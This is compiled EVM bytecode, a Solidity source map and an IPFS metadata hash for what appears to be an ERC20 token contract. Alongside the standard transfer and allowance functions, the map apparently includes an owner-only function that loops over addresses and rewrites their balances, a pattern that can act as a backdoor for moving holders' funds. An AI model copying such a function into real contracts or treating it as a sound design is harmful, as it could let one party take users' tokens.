201526084016103e4565b61085181604051806060016040528060268152602001610c3f6026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e49190610940565b505050900390565b5f6109398284610c06565b9392505050565b5f602080835283518060208501525f5b8181101561096c57858101830151858201604001528201610950565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109cd575f80fd5b919050565b5f80604083850312156109e3575f80fd5b6109ec836109aa565b946020939093013593505050565b5f805f60608486031215610a0c575f80fd5b610a15846109aa565b9250610a23602085016109aa565b9150604084013590509250925092565b5f60208284031215610a43575f80fd5b610939826109aa565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a8a575f80fd5b823567ffffffffffffffff80821115610aa1575f80fd5b818501915085601f830112610ab4575f80fd5b813581811115610ac657610ac6610a4c565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610b0957610b09610a4c565b604052918252848201925083810185019188831115610b26575f80fd5b938501935b82851015610b4b57610b3c856109aa565b84529385019392850192610b2b565b98975050505050505050565b5f8060408385031215610b68575f80fd5b610b71836109aa565b9150610b7f602084016109aa565b90509250929050565b600181811c90821680610b9c57607f821691505b602082108103610bd3577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a448d44f97e8dfe4248fa2292420ed3d9b8913e8d8c106f0320bfcb5faf6b46e64736f6c63430008170033

18150:3622:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18783:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19966:169;;;;;;:::i;:::-;;:::i;:::-;;;1251:14:1;;1244:22;1226:41;;1214:2;1199:18;19966:169:0;1086:187:1;19060:100:0;19140:12;;19060:100;;;1424:25:1;;;1412:2;1397:18;19060:100:0;1278:177:1;19478:321:0;;;;;;:::i;:::-;;:::i;18969:83::-;19035:9;;18969:83;;19035:9;;;;1935:36:1;;1923:2;1908:18;18969:83:0;1793:184:1;19168:119:0;;;;;;:::i;:::-;19261:18;;19234:7;19261:18;;;;;;;;;;;;19168:119;18874:87;;;:::i;19295:175::-;;;;;;:::i;:::-;;:::i;21406:363::-;;;;;;:::i;:::-;;:::i;:::-;;19807:151;;;;;;:::i;:::-;19923:18;;;;19896:7;19923:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19807:151;18512:22;;;;;;;;;;;;3988:42:1;3976:55;;;3958:74;;3946:2;3931:18;18512:22:0;3812:226:1;18783:83:0;18820:13;18853:5;18846:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18783:83;:::o;19966:169::-;20049:4;20066:39;17226:10;20089:7;20098:6;20066:8;:39::i;:::-;-1:-1:-1;20123:4:0;19966:169;;;;;:::o;19478:321::-;19584:4;19601:36;19611:6;19619:9;19630:6;19601:9;:36::i;:::-;19648:121;19657:6;17226:10;19679:89;19717:6;19679:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;17226:10;19679:33;;;;;;;;;;:37;:89::i;:::-;19648:8;:121::i;:::-;-1:-1:-1;19787:4:0;19478:321;;;;;:::o;18874:87::-;18913:13;18946:7;18939:14;;;;;:::i;19295:175::-;19381:4;19398:42;17226:10;19422:9;19433:6;19398:9;:42::i;21406:363::-;21356:6;;;;21342:10;:20;21334:44;;;;;;;4687:2:1;21334:44:0;;;4669:21:1;4726:2;4706:18;;;4699:30;4765:13;4745:18;;;4738:41;4796:18;;21334:44:0;;;;;;;;;21476:9:::1;21471:291;21495:4;:11;21491:1;:15;21471:291;;;21528:15;21546:4;21551:1;21546:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;21585:18:::1;::::0;::::1;21568:14;21585:18:::0;;;;;;;;;;;21639:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21546:7;;-1:-1:-1;21585:18:0;21639:39:::1;::::0;21585:18;;;;21639:22:::1;:39::i;:::-;21618:18;::::0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21717:21;;;;:33:::1;::::0;21743:6;21717:25:::1;:33::i;:::-;21693:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;;21508:3:0::1;;21471:291;;;;21406:363:::0;:::o;20465:344::-;20567:19;;;20559:68;;;;;;;5216:2:1;20559:68:0;;;5198:21:1;5255:2;5235:18;;;5228:30;5294:34;5274:18;;;5267:62;5365:6;5345:18;;;5338:34;5389:19;;20559:68:0;5014:400:1;20559:68:0;20646:21;;;20638:68;;;;;;;5621:2:1;20638:68:0;;;5603:21:1;5660:2;5640:18;;;5633:30;5699:34;5679:18;;;5672:62;5770:4;5750:18;;;5743:32;5792:19;;20638:68:0;5419:398:1;20638:68:0;20717:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20769:32;;1424:25:1;;;20769:32:0;;1397:18:1;20769:32:0;;;;;;;;20465:344;;;:::o;20817:477::-;20923:20;;;20915:70;;;;;;;6024:2:1;20915:70:0;;;6006:21:1;6063:2;6043:18;;;6036:30;6102:34;6082:18;;;6075:62;6173:7;6153:18;;;6146:35;6198:19;;20915:70:0;5822:401:1;20915:70:0;21004:23;;;20996:71;;;;;;;6430:2:1;20996:71:0;;;6412:21:1;6469:2;6449:18;;;6442:30;6508:34;6488:18;;;6481:62;6579:5;6559:18;;;6552:33;6602:19;;20996:71:0;6228:399:1;20996:71:0;21098;21120:6;21098:71;;;;;;;;;;;;;;;;;:17;;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;21078:17;;;;:9;:17;;;;;;;;;;;:91;;;;21203:20;;;;;;;:32;;21228:6;21203:24;:32::i;:::-;21180:20;;;;:9;:20;;;;;;;;;;;;:55;;;;21251:35;1424:25:1;;;21180:20:0;;21251:35;;;;;;1397:18:1;21251:35:0;1278:177:1;14581:240:0;14701:7;14762:12;14754:6;;;;14746:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14:607:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;612:2;542:66;537:2;529:6;525:15;521:88;510:9;506:104;502:113;494:121;;;;14:607;;;;:::o;626:196::-;694:20;;754:42;743:54;;733:65;;723:93;;812:1;809;802:12;723:93;626:196;;;:::o;827:254::-;895:6;903;956:2;944:9;935:7;931:23;927:32;924:52;;;972:1;969;962:12;924:52;995:29;1014:9;995:29;:::i;:::-;985:39;1071:2;1056:18;;;;1043:32;;-1:-1:-1;;;827:254:1:o;1460:328::-;1537:6;1545;1553;1606:2;1594:9;1585:7;1581:23;1577:32;1574:52;;;1622:1;1619;1612:12;1574:52;1645:29;1664:9;1645:29;:::i;:::-;1635:39;;1693:38;1727:2;1716:9;1712:18;1693:38;:::i;:::-;1683:48;;1778:2;1767:9;1763:18;1750:32;1740:42;;1460:328;;;;;:::o;1982:186::-;2041:6;2094:2;2082:9;2073:7;2069:23;2065:32;2062:52;;;2110:1;2107;2100:12;2062:52;2133:29;2152:9;2133:29;:::i;2173:184::-;2225:77;2222:1;2215:88;2322:4;2319:1;2312:15;2346:4;2343:1;2336:15;2362:1180;2446:6;2477:2;2520;2508:9;2499:7;2495:23;2491:32;2488:52;;;2536:1;2533;2526:12;2488:52;2576:9;2563:23;2605:18;2646:2;2638:6;2635:14;2632:34;;;2662:1;2659;2652:12;2632:34;2700:6;2689:9;2685:22;2675:32;;2745:7;2738:4;2734:2;2730:13;2726:27;2716:55;;2767:1;2764;2757:12;2716:55;2803:2;2790:16;2825:2;2821;2818:10;2815:36;;;2831:18;;:::i;:::-;2877:2;2874:1;2870:10;2909:2;2903:9;2968:66;2963:2;2959;2955:11;2951:84;2943:6;2939:97;3086:6;3074:10;3071:22;3066:2;3054:10;3051:18;3048:46;3045:72;;;3097:18;;:::i;:::-;3133:2;3126:22;3183:18;;;3217:15;;;;-1:-1:-1;3259:11:1;;;3255:20;;;3287:19;;;3284:39;;;3319:1;3316;3309:12;3284:39;3343:11;;;;3363:148;3379:6;3374:3;3371:15;3363:148;;;3445:23;3464:3;3445:23;:::i;:::-;3433:36;;3396:12;;;;3489;;;;3363:148;;;3530:6;2362:1180;-1:-1:-1;;;;;;;;2362:1180:1:o;3547:260::-;3615:6;3623;3676:2;3664:9;3655:7;3651:23;3647:32;3644:52;;;3692:1;3689;3682:12;3644:52;3715:29;3734:9;3715:29;:::i;:::-;3705:39;;3763:38;3797:2;3786:9;3782:18;3763:38;:::i;:::-;3753:48;;3547:260;;;;;:::o;4043:437::-;4122:1;4118:12;;;;4165;;;4186:61;;4240:4;4232:6;4228:17;4218:27;;4186:61;4293:2;4285:6;4282:14;4262:18;4259:38;4256:218;;4330:77;4327:1;4320:88;4431:4;4428:1;4421:15;4459:4;4456:1;4449:15;4256:218;;4043:437;;;:::o;4825:184::-;4877:77;4874:1;4867:88;4974:4;4971:1;4964:15;4998:4;4995:1;4988:15;6632:279;6697:9;;;6718:10;;;6715:190;;;6761:77;6758:1;6751:88;6862:4;6859:1;6852:15;6890:4;6887:1;6880:15

ipfs://a448d44f97e8dfe4248fa2292420ed3d9b8913e8d8c106f0320bfcb5faf6b46e